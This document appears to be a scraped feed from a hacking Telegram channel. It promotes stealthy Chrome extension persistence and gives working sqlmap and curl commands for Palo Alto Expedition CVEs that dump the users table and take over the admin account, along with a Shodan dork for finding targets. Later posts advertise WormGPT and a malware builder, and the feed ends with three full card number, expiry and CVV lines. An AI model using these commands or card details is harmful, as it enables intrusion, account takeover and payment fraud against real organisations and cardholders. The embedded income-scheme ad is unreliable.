𓆩𓆩~𝐇ᴀᴄᴋᴇʀ 𝐒ᴇᴄᴜʀɪᴛʏ~𓆪𓆪

💻 Chrome Extension For Persistence How to silently install any Chrome extension and avoid common indicators of compromise (IOCs). The method avoids using CLI parameters or registry edits, and persists via the Secure Preferences file 🔗 Source: https://syntax-err0r.github.io/Silently_Install_Chrome_Extension.html #chrome #persistence #maldev #c2

⚙️ Subdomain Generator If you want to create subdomains quickly, try this site. 🔗 Source: https://husseinphp.github.io/subdomain/ #subdomain #generator #bugbounty #web

CVE-2024-9465: Palo Alto Expedition Unauthenticated SQL Injection Firing up the SQLMAP tool, and supplying it the endpoint and parameter to inject and table to dump, it successfully dumps the entire users table:

python3 sqlmap.py -u "https://10.0.40.64/bin/configurations/parsers/Checkpoint/CHECKPOINT.php?action=im port&type=test&project=pandbRBAC&signatureid=1" -p signatureid -T users --dump

CVE-2024-5910: Expedition: Missing Authentication Leads to Admin Account Takeover for attackers with network access

curl -k 'https://10.0.40.64/0S/startup/restore/restoreAdmin.php'

CVE-2024-9464: Palo Alto Expedition Authenticated Command Injection Exploit CVE-2024-9466: Cleartext Credentials in Logs

/home/userSpace/devices/debug.txt

This world-readable file contained the raw request logs of the Expedition server when it exchanged cleartext credentials for API keys in the device integration process. The Expedition server only stores the API keys, and is not supposed to retain the cleartext credentials, but this log file showed all the credentials used in cleartext. This issue was reported and assigned CVE-2024-9466. Blog: https://www.horizon3.ai/attack-research/palo-alto-expedition-from-n-day-to-full-compromise/ Shodan dork:

html:"Expedition Project"

7 Figure Facebook | Jeff Samis 🌐 Sales Page: https://7dayshift.com/order-confirm Imagine turning your Facebook profile into a digital ATM. Sounds wild? This isn’t theory—Tenny have made 7 figures using just organic Facebook strategies, took this exact system, built a 370k+ following, and exploded his income. What’s Inside: 🔥 Set up your profile for non-stop inbound leads 📈 Growth hacks that push you in front of the right audience ✍️ Content that sells without looking salesy 🪙 Turn attention into income (this is where the magic happens) Who’s this for: 🔤 Anyone Interested in Facebook Growth & Monetization

DorkGPT - Generate Google Dorks with AI ⚡️ DorkGPT #Dork #ai Join RootExploit 💎

CVE-2025-24076 and CVE-2025-24994 * 300 Milliseconds to Admin: Mastering DLL Hijacking and Hooking to Win the Race

📱 Telegram OSINT In-depth repository of Telegram OSINT resources covering, tools, techniques & tradecraft 🔍 📱 Github #osint #tools 🔵 Share & Support Us 📱 Channel : @BunthyHacking

👼Bunthy Tools - Ultimate Bunthy Hacker😈 🎃WORMGPT: An AI-based tool similar to ChatGPT, possibly customized for scripting or automation purposes. 🔒 Cryptor: Allows encryption and decryption using algorithms like AES, Base64, SHA, etc. 🎯 IP to Info: Gathers geolocation and other details from an IP address. 🌐 DNS Look-up: Extracts DNS information of a given domain name. 📱Phone Number Look-up: Provides metadata or information about a phone number. ✅CC Gen: Generates fake credit card numbers for testing or educational purposes (use with caution). 🦠Malware Builder: A tool that builds malware-type payloads, such as a Telegram bot-based malware generator—highly sensitive and potentially illegal. 🔵 Website : https://devilbunthy.serv00.net/Bunthy/

🌚 I Installed Kali Linux On My Android in 2025 😁 📱 Termux https://f-droid.org/repo/com.termux_1020.apk 🛒 Nethunter Store Kex https://store.nethunter.com/packages/ 🔵Open Termux and type

~$ termux-setup-storage
~$ pkg install wget
~$ wget -O install-nethunter-termux https://offs.ec/2MceZWr
~$ chmod +x install-nethunter-termux
~$ ./install-nethunter-termux

🔵 Share & Support Us 📱 Channel : @BunthyHacking

vpn

6456 4260 1750 8014|02/28|378|Discover

4004 7372 0383 4168|08/27|076|Visa

5243 6820 6348 9687|05/28|322|Mastercard